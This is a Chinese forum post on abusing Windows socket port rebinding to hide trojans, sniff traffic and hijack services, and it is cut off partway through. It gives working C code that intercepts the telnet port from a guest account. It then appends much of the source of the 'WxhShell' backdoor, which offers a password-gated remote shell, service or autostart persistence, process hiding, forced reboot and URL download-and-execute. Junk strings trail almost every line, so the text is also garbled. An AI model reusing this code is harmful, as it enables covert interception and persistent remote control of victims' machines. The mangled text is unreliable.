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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: FZZO-,xa  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); HvKdV`bz  
FKL@,>!<e  
  saddr.sin_family = AF_INET; /lPnf7  
l]Xbd{  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ^;9l3P{  
B.;@i;7L  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 4sRg+mMI  
_8F;-7Sz  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 kzNRRs\e  
Z#(Y%6[u  
  这意味着什么?意味着可以进行如下的攻击: ) j&khHD  
?9!9lSH6%  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 I|>.&nb  
8bs'Ek{'o  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) %g89eaEZ  
7N@[Rtv  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 @Bjp7v :w  
"!7Hu7  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ["Tro;K#  
05\0g9  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 84reyA  
f\Hw Y)^>  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 4K dYiuz0`  
< 3*q) VT  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 WS(m#WFQr  
tX@y ]"  
  #include S~ S>62  
  #include RW1+y/#%P  
  #include N#)Klq87z  
  #include    )Y'g;  
  DWORD WINAPI ClientThread(LPVOID lpParam);   {hN<Ot  
  int main() M8\/[R\  
  { &m[}%e%~0  
  WORD wVersionRequested; @qjN>PH~  
  DWORD ret; * a1q M?  
  WSADATA wsaData; eY^zs0  
  BOOL val; Hg8 4\fA  
  SOCKADDR_IN saddr; s'l|Ii  
  SOCKADDR_IN scaddr; \w1',"l`  
  int err; ?OoI6 3&  
  SOCKET s; u*uHdV5  
  SOCKET sc; D)l\zs%ie  
  int caddsize; |22vNt_  
  HANDLE mt; `' EG7  
  DWORD tid;   9%3+\[s1  
  wVersionRequested = MAKEWORD( 2, 2 ); r|\{!;7  
  err = WSAStartup( wVersionRequested, &wsaData ); xx7&y !_  
  if ( err != 0 ) { k$8Zg*)  
  printf("error!WSAStartup failed!\n"); NG:4Q.G1g  
  return -1; @OUBo;/  
  } JdUdl_D z  
  saddr.sin_family = AF_INET; TgDT  
   Xo[cpcV  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Q)M-f;O  
q@XJ,e1A  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); w'$>E4\   
  saddr.sin_port = htons(23); +ug/%Iay{k  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Ygkf}n  
  { ?1 Vx)j>|  
  printf("error!socket failed!\n"); T"C.>G'[B  
  return -1; ,)J>8eV  
  } (18ZEKk  
  val = TRUE; jOGiT|A  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 1=sL[I7<  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) @|">j#0  
  { KSEKoHJo  
  printf("error!setsockopt failed!\n"); }U5$~, *p  
  return -1; QHUFS{G ]  
  } 'NfsAE  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 6-/W4L)?>  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 qvGm JN0  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 COw!a\Jl  
0Bkz)4R  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Cc`-34/%  
  { K^tc]ZQ  
  ret=GetLastError(); kRbJK  
  printf("error!bind failed!\n"); p}/D{|xO  
  return -1; aUc#,t;Qd  
  } <&O*' <6C  
  listen(s,2); 4^nHq 4_  
  while(1) (e!Yu#-  
  { DcM/p8da  
  caddsize = sizeof(scaddr); T\6,@7  
  //接受连接请求 .'38^  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); n <> ^cD  
  if(sc!=INVALID_SOCKET) #D JZ42  
  { T<Qa`|5 >  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); v''J@F7  
  if(mt==NULL) {YrA [9  
  { c'Ibgfx%m  
  printf("Thread Creat Failed!\n"); H]wP \m)  
  break; T3SFG]H  
  } yENAcsv  
  } T;{:a-8  
  CloseHandle(mt); (. YSs   
  } 8 *{jxN'M  
  closesocket(s); :)B1|1  
  WSACleanup(); }0@@_Y]CC  
  return 0; s?->2gxhx  
  }   Y+vIU*O  
  DWORD WINAPI ClientThread(LPVOID lpParam) +\&6Zbn  
  { i`];xNR'  
  SOCKET ss = (SOCKET)lpParam; O<,\ tZ'N  
  SOCKET sc; @]2aPs} }6  
  unsigned char buf[4096]; 'o0o.&/=  
  SOCKADDR_IN saddr; yIngenr$  
  long num; bT T>  
  DWORD val; 6biR5&Y5U&  
  DWORD ret; 2$!,$J-<Y  
  //如果是隐藏端口应用的话,可以在此处加一些判断 es%py~m)  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   S<'_{uz  
  saddr.sin_family = AF_INET; Q2woCx B  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Lpkx$QZ  
  saddr.sin_port = htons(23); $XMpC{  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) l=Pw yJ  
  { ,2^A<IwR  
  printf("error!socket failed!\n"); JTBt=u{6^  
  return -1; /z`tI  
  } S0:Oep   
  val = 100; k&f/f  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) RIO?rt;  
  { {TJBB/B1  
  ret = GetLastError(); `D=`xSEYl  
  return -1; UhkL=+PD  
  } O#O"]A  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) g`C8ouy  
  { W _Hoa*~  
  ret = GetLastError(); ~@X3qja  
  return -1; RF'nwzM3  
  } s] ;P<  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) D2gyn-]\  
  { um_J%v6ER  
  printf("error!socket connect failed!\n"); i^A=nsD`  
  closesocket(sc); D Y4!RjJ47  
  closesocket(ss); /7p(%vr  
  return -1; 41+WIa L  
  } l`:u5\ rM  
  while(1) 1ZYo-a;)  
  { Ej6ho0_  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 @)[8m8paV  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 R)*l)bpZ#  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 cTRtMk%^  
  num = recv(ss,buf,4096,0); >b5 ;I1o=y  
  if(num>0) g"Ueo'd*  
  send(sc,buf,num,0); c$BH`" <*  
  else if(num==0) HJym|G>%?  
  break; BtKor6ba  
  num = recv(sc,buf,4096,0); Hy,""Py  
  if(num>0) h7TkMt[l  
  send(ss,buf,num,0); Zz/p'3?#  
  else if(num==0) *fv BB9raq  
  break; Fo;:GX,b  
  } ,RY;dX-#  
  closesocket(ss); c|aX4=Z  
  closesocket(sc); W(4$.uZ)  
  return 0 ; Zby3.=.e  
  } CQa8I2VF (  
cjO %X  
.sM,U  
========================================================== x{K"z4xbI  
dtfOFag4_  
下边附上一个代码,,WXhSHELL IO=$+c  
$_TS]~y4}  
========================================================== N3MPW  
+S-60EN*A  
#include "stdafx.h" fR{_P  
7ZyP  
#include <stdio.h> r7R.dD /.  
#include <string.h> =_m3 ~=Z  
#include <windows.h> }BL7P-km  
#include <winsock2.h> mv~?1aIKD  
#include <winsvc.h> zb"4_L@m2  
#include <urlmon.h> PeqW+Q.  
3tJfh=r=1  
#pragma comment (lib, "Ws2_32.lib") !~R<Il|B  
#pragma comment (lib, "urlmon.lib") !.t D.(XP  
74:~F)BP  
#define MAX_USER   100 // 最大客户端连接数 rKFnivGT  
#define BUF_SOCK   200 // sock buffer $M!iQ"bb  
#define KEY_BUFF   255 // 输入 buffer BKb#\(95*  
$U9]v5  
#define REBOOT     0   // 重启 q+*\'H>  
#define SHUTDOWN   1   // 关机 P 6La)U`VA  
xfI0P0+  
#define DEF_PORT   5000 // 监听端口 i4h`jFS  
9%NobT  
#define REG_LEN     16   // 注册表键长度 IvY3iRq6  
#define SVC_LEN     80   // NT服务名长度 ^E8qI8s  
-mh"["L"  
// 从dll定义API ]$9y7Bhj.  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Ml{ ]{n  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ?nbu`K6T  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); EQd<!)HZ  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 1y wdcg  
19y,O0# _  
// wxhshell配置信息 xf,A<j (o  
struct WSCFG { Cc%{e9e*  
  int ws_port;         // 监听端口 @H4]Gp ]  
  char ws_passstr[REG_LEN]; // 口令 G}+@C]  
  int ws_autoins;       // 安装标记, 1=yes 0=no {I $iD  
  char ws_regname[REG_LEN]; // 注册表键名 hwL`9.w  
  char ws_svcname[REG_LEN]; // 服务名 Z2})n -  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 [XDV-6KCE.  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ">3t+A  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 1i~q~ O,  
int ws_downexe;       // 下载执行标记, 1=yes 0=no +lVA$]d  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" _(8#  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 !5?_)  
_Z9 d.-  
}; gt(p%~  
srAWet  
// default Wxhshell configuration ~TS!5Wiv  
struct WSCFG wscfg={DEF_PORT, FJCORa@?_  
    "xuhuanlingzhe", 6_u!{  
    1, 7qUg~GJX  
    "Wxhshell", rTVv6:L  
    "Wxhshell", ZN;ondp4  
            "WxhShell Service", ISFNP&& K  
    "Wrsky Windows CmdShell Service", esBv,b?*  
    "Please Input Your Password: ", !u8IZpf  
  1, S5ai@Ks f  
  "http://www.wrsky.com/wxhshell.exe", {,h_T0D^j  
  "Wxhshell.exe" bfZt<-  
    }; ~]d9 J  
-C~zvP; a  
// 消息定义模块 Kb{&a  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; U5~aG!E  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 6S3D#SY  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 4;AQ12<[1  
char *msg_ws_ext="\n\rExit."; O< /b]<[  
char *msg_ws_end="\n\rQuit."; ^p9V5o  
char *msg_ws_boot="\n\rReboot..."; Tsb}\  
char *msg_ws_poff="\n\rShutdown..."; N wNxO  
char *msg_ws_down="\n\rSave to "; 1y1:<t  
'kC#GTZi  
char *msg_ws_err="\n\rErr!"; #\^=3A|b  
char *msg_ws_ok="\n\rOK!"; phf{b+'#X  
'/6f2[%Y"  
char ExeFile[MAX_PATH]; &I8DK).M+  
int nUser = 0; Wex2Fd?DO  
HANDLE handles[MAX_USER]; ED79a:  
int OsIsNt; U!c+i#:t  
A- Abj'  
SERVICE_STATUS       serviceStatus; oi,KA  
SERVICE_STATUS_HANDLE   hServiceStatusHandle;  1hi, &h  
% 33O)<?  
// 函数声明 pt3)yj&XE  
int Install(void); DeNWh2  
int Uninstall(void); Fv %@k{  
int DownloadFile(char *sURL, SOCKET wsh); ?6&G:Uz/  
int Boot(int flag); gzSm=6Qw0  
void HideProc(void); +6jGU '}[  
int GetOsVer(void); q. Jx|x  
int Wxhshell(SOCKET wsl); Ij.mLO]  
void TalkWithClient(void *cs); IZLCwaW  
int CmdShell(SOCKET sock); xZ`vcS(  
int StartFromService(void); bCC &5b  
int StartWxhshell(LPSTR lpCmdLine); >yP> ]r+  
9e>2kd  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 3gVU#T [[  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); +2 oZML  
cl&?'` )  
// 数据结构和表定义 ~uZ9%UB_m  
SERVICE_TABLE_ENTRY DispatchTable[] = G;u~H<  
{ MmvOyK NZF  
{wscfg.ws_svcname, NTServiceMain}, $^ ^M&[b-  
{NULL, NULL} ',WJ'g  
}; c U(z5th  
+$(y2F7|u-  
// 自我安装 wA/!A$v(  
int Install(void) uuD2O )v  
{ \I4Uj.'> \  
  char svExeFile[MAX_PATH]; 1D8S}=5&  
  HKEY key; CPcUB4a%#  
  strcpy(svExeFile,ExeFile); %@)q=*=y  
ONcLhwH  
// 如果是win9x系统,修改注册表设为自启动 _eBNbO_J  
if(!OsIsNt) { JLoE)\Mi  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { R[v<mo[s  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); L&:A59)1k  
  RegCloseKey(key); Vraz}JV  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { nFGX2|d  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); sg}<()  
  RegCloseKey(key); -X%t wy=  
  return 0; N2[jBy8M  
    } bDh4p]lm  
  } C Q iHk  
} UukY9n];]  
else { noa+h<vGb  
r1RM7y  
// 如果是NT以上系统,安装为系统服务 2h*aWBLk  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); )T gfd5B  
if (schSCManager!=0) 7p':a)  
{ md18q:AG)  
  SC_HANDLE schService = CreateService B= E/|J</  
  ( 4Y1^ U{A+  
  schSCManager, Vb JE zl  
  wscfg.ws_svcname, U*sQ5uq  
  wscfg.ws_svcdisp, Lwf[*n d  
  SERVICE_ALL_ACCESS, p= x &X~  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 6}c!>n['  
  SERVICE_AUTO_START, o(l%k},a  
  SERVICE_ERROR_NORMAL, )AdwA+-x  
  svExeFile, :KG=3un]  
  NULL, tCR~z1  
  NULL, m3P7*S5NJ7  
  NULL, ,f,+)C$  
  NULL, b.[9Adi >  
  NULL }.9a!/@Aj  
  ); hH;i_("i(h  
  if (schService!=0) zI S ,N '  
  { xnWezO_  
  CloseServiceHandle(schService); MwSfuP  
  CloseServiceHandle(schSCManager); 0~W XA=XG  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); BLqK5~  
  strcat(svExeFile,wscfg.ws_svcname); f!5w+6(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { BU>R<A5h  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 4o@:+T:1  
  RegCloseKey(key); y,n.(?!*  
  return 0; Y|hd!C-x  
    } &;JeLL1J  
  } ^ . A  
  CloseServiceHandle(schSCManager); :ntAU2)H  
} #FRm<9/j  
} B]gyj  
W)  
return 1; LqJV  
} NhF"%  
f61vE  
// 自我卸载 /.A"HGAk  
int Uninstall(void) ZXiJ5BZ  
{ ' \>k7?@  
  HKEY key; *tR'K#:&g!  
?/sn"~"  
if(!OsIsNt) { Rx&.,gzj[  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { LXrk5>9  
  RegDeleteValue(key,wscfg.ws_regname); HP<a'|r  
  RegCloseKey(key); KX cRm)  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { f qWme:x  
  RegDeleteValue(key,wscfg.ws_regname); mOTA  
  RegCloseKey(key); &P35\q   
  return 0; yn(bW\  
  } /6y{ ?0S  
} $1zWQJd[-  
} !SGRK01  
else { x=x%F;  
+s`cXTlFrk  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); T4ugG?B*  
if (schSCManager!=0) c3PA<q[  
{ <)sL8G9Y  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); *(]ZdB_2  
  if (schService!=0) `}$bJCSF.n  
  { Jx`7W1%T  
  if(DeleteService(schService)!=0) { ]E DC s?,  
  CloseServiceHandle(schService); L 9cXgd  
  CloseServiceHandle(schSCManager); M5_ t#[ [  
  return 0; i 2uSPV!Tf  
  } P;'ZdZ(SLu  
  CloseServiceHandle(schService); u:l<NWF^  
  } RwrRN+&s\  
  CloseServiceHandle(schSCManager); z?|bs?HKS  
} _;S~nn  
} ?pd /cj^  
#RSUChe7w  
return 1; D ZH2U+K  
} Hm|N {  
P39oHW  
// 从指定url下载文件 =9p3^:S  
int DownloadFile(char *sURL, SOCKET wsh) 4_'BoU4  
{ Wy/h"R\=  
  HRESULT hr; l4iklg3  
char seps[]= "/"; ZIh)D[n  
char *token; cdSgb3B0  
char *file; >+!Ef  
char myURL[MAX_PATH]; EaL>~: j  
char myFILE[MAX_PATH]; /Q:mUd  
e$`hRZ%  
strcpy(myURL,sURL); WW^+X~Y  
  token=strtok(myURL,seps); `P:[.hRu  
  while(token!=NULL) H<?s[MH[  
  { -2 8bJ,  
    file=token; "d}ey=$h4  
  token=strtok(NULL,seps); ,69547#o  
  } _nX8f &  
:B7U),T  
GetCurrentDirectory(MAX_PATH,myFILE); #!#s7^%K&  
strcat(myFILE, "\\"); @+y,E-YTdV  
strcat(myFILE, file); 6P,uy;PJ  
  send(wsh,myFILE,strlen(myFILE),0); N:+d=G`x  
send(wsh,"...",3,0); `YMd0*  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); qFq$a9w|@  
  if(hr==S_OK) WoNY8 8hT  
return 0; ]-SJ";aU  
else "o_'q@.}  
return 1; 6'<[QoW];  
=1 S%E  
} Wa&!1' @  
ub`zS-vb  
// 系统电源模块 Jm< uE]9  
int Boot(int flag) jPZpJ:  
{ ]0|A\bE\S  
  HANDLE hToken; 1_Av_X  
  TOKEN_PRIVILEGES tkp; B/!/2x  
\W= qqE]  
  if(OsIsNt) { fWi/mK3c  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); V s=o@  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ?Drq!?3PDc  
    tkp.PrivilegeCount = 1; Ve)BF1YG  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; qn |~YXn  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); $P%cdJT0  
if(flag==REBOOT) { ~$"2,&  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) P4/~_$e  
  return 0;  j},i=v  
} O(D2F$VlL  
else { BIe:7cR%  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 39F e#u  
  return 0; =1,1}OucP  
} ]bpgsW:Xu  
  } yq^Ma  
  else { iy]?j$B$  
if(flag==REBOOT) { ]H\tz@ &  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) uaU2D-ft"  
  return 0; >V]9<*c  
} &"hEKIqL  
else { x7G*xHJ  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) #V#!@@c;?  
  return 0; wQ@:0GJH  
} uxh>r2Xr=  
} Eciu^  
V@ O)7ND  
return 1; M:iH7K  
} !7MRHI/0C  
WBm)Q#1:  
// win9x进程隐藏模块 v+SdjFAY  
void HideProc(void) 'U0W   
{ F*>#Xr~/  
"h7Dye  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ;ny9q  
  if ( hKernel != NULL ) B<,7!:.II  
  { kOq8zYU|  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); >s0![coz  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); i27)c)\BM  
    FreeLibrary(hKernel); b`^Q ':^A  
  } :g^ mg-8  
BHZhdm@),  
return; hCd? Kti  
} eR6vO5to  
<yBa5m@/  
// 获取操作系统版本 w1aoEo"S  
int GetOsVer(void) ylQj2B,CB  
{ SO[ u4b_"h  
  OSVERSIONINFO winfo; xk7Dx}  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); *kYGXT,f]  
  GetVersionEx(&winfo); N#t`ZC&m'  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) MtN!Xx  
  return 1; $60`Hh 4/  
  else %2g<zdab  
  return 0; 1<_/Qu>V  
} AYN dV(  
|5X[/Q*K`W  
// 客户端句柄模块 [;sTl~gC  
int Wxhshell(SOCKET wsl) BOq9\g`5s  
{ P?P.QK  
  SOCKET wsh; (}.MB3`#C  
  struct sockaddr_in client; w-LENdw  
  DWORD myID; :2,NKdD  
h0g?=hJq  
  while(nUser<MAX_USER) /S1/ZI  
{ 5s`r&2 w  
  int nSize=sizeof(client); Vp|?R65S*  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); gt02Csdt  
  if(wsh==INVALID_SOCKET) return 1; ;+6><O!G  
18Z1F  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); }*xjO/Ey  
if(handles[nUser]==0) "d0=uHd5\  
  closesocket(wsh); ?# _{h  
else 7Zd g314  
  nUser++; -57~7 <N  
  } 9:-7.^`P  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); @|Yn~PwKs  
QKlsBq  
  return 0; f86Z #%  
} >][D"  
cBZEyy&  
// 关闭 socket v~x4Y,m%  
void CloseIt(SOCKET wsh) OHsA]7S  
{ #RaqNu  
closesocket(wsh); |('o g*$  
nUser--; X:;x5'|  
ExitThread(0); _N^w5EBC]  
} -C3[:g  
6l;2kztGp  
// 客户端请求句柄 DF4CB#  
void TalkWithClient(void *cs) [3nWxFz$R  
{ dr:x0>  
Xo/H+[;X  
  SOCKET wsh=(SOCKET)cs; cy;i1#1rO  
  char pwd[SVC_LEN]; N!3Tg564j  
  char cmd[KEY_BUFF]; z8JW iRn  
char chr[1]; F@f4-NR>  
int i,j;  -D'XxOI  
3]mprX'  
  while (nUser < MAX_USER) { T]-MrnO  
[xr^t1  
if(wscfg.ws_passstr) { L/C~l3  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); NjOUe?BQ  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); R]&Csr#~  
  //ZeroMemory(pwd,KEY_BUFF); e(|Z<6  
      i=0; #fns3=/ H  
  while(i<SVC_LEN) { W&%,XwkQ  
[X!w@d= i  
  // 设置超时 PS+~JwDUc  
  fd_set FdRead; NLG\*mQ  
  struct timeval TimeOut; Q!V:=d  
  FD_ZERO(&FdRead); tzIP4CR~F&  
  FD_SET(wsh,&FdRead); 111A e *U  
  TimeOut.tv_sec=8; 5:f!EMb  
  TimeOut.tv_usec=0; L6{gwoZf3  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); F=1 #qo<?  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); yxp,)os:  
P@vUQ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); L-D4>+  
  pwd=chr[0]; ob;|%_  
  if(chr[0]==0xd || chr[0]==0xa) { z06,$OYz  
  pwd=0; ~o"=4q`>  
  break; 8{2  
  } o9"?z  
  i++; U{M3QOF  
    } d9;&Y?fp  
&|#[.ti1  
  // 如果是非法用户,关闭 socket B#jnM~fJz  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); nv@z;#&  
} k)S1Zs~G  
O=RS</01!  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); !uW*~u  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); *S:~U  
89(qU  
while(1) { pQ:^ ziwa3  
Fw\Z[nh  
  ZeroMemory(cmd,KEY_BUFF); ckA\{v  
iKJqMES  
      // 自动支持客户端 telnet标准   J#F5by%8  
  j=0; *0!p_Hco  
  while(j<KEY_BUFF) { Hf]:m hH  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 9AX}V6\+  
  cmd[j]=chr[0]; n2B%}LLa  
  if(chr[0]==0xa || chr[0]==0xd) { 1?FG3X 5  
  cmd[j]=0; DMG~56cTO,  
  break; %N<5ST>(  
  } hDJG.,r  
  j++; bkDVW  
    } :QGo -,6-  
tSJ#  
  // 下载文件 W?.469yy  
  if(strstr(cmd,"http://")) { 7UMZs7L$  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 0HoHu*+FX  
  if(DownloadFile(cmd,wsh)) S7f.^8  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); |di(hY|  
  else .c+U=bV-  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); w>^(w<~Y  
  } w_Slg&S  
  else { )0exGx+:  
-|#{V.G3'  
    switch(cmd[0]) { oR2?$KF   
  {k_\1t(/  
  // 帮助 `K.C>68  
  case '?': { x'x5tg  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); xj>P5\mW#  
    break; VGeTX 4h  
  } nwKp8mfP  
  // 安装 Ul_Zn  
  case 'i': { ` 5Kg[nB:  
    if(Install()) s;OGb{H7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); L?d?O  
    else }h45j84)  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); iv~R4;;)  
    break; iF^qbh%%E  
    } I0 ~'z f  
  // 卸载 W-s6+ DY  
  case 'r': { N<rq}^qo  
    if(Uninstall()) cj>UxU][eS  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 72OqXa*  
    else rwLKY .J]  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); v}j5G, [-  
    break; l2St)`K8  
    } Z&Ob,Ru  
  // 显示 wxhshell 所在路径 1]Xx {j<  
  case 'p': { mcd{:/^?  
    char svExeFile[MAX_PATH]; wG[n wt0L  
    strcpy(svExeFile,"\n\r"); f%o[eW#  
      strcat(svExeFile,ExeFile); :6nD"5(  
        send(wsh,svExeFile,strlen(svExeFile),0); qhGz2<}_j  
    break; _HHvL=  
    } #kM|!U=  
  // 重启 Xs052c|s  
  case 'b': { kJ5z['4?  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ^^"zjl*^  
    if(Boot(REBOOT)) ~-A"j\gi"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); UF!qp  
    else { d*d:-f~q  
    closesocket(wsh); LRu,_2"  
    ExitThread(0); r89AX{:  
    } /&Oo)OB;  
    break; l|WFS  
    } i|1*bZ6'  
  // 关机 %Z_O\zRqy)  
  case 'd': { 47Z3 nl?  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); (2# Xa,pb  
    if(Boot(SHUTDOWN)) #s~;ss ,  
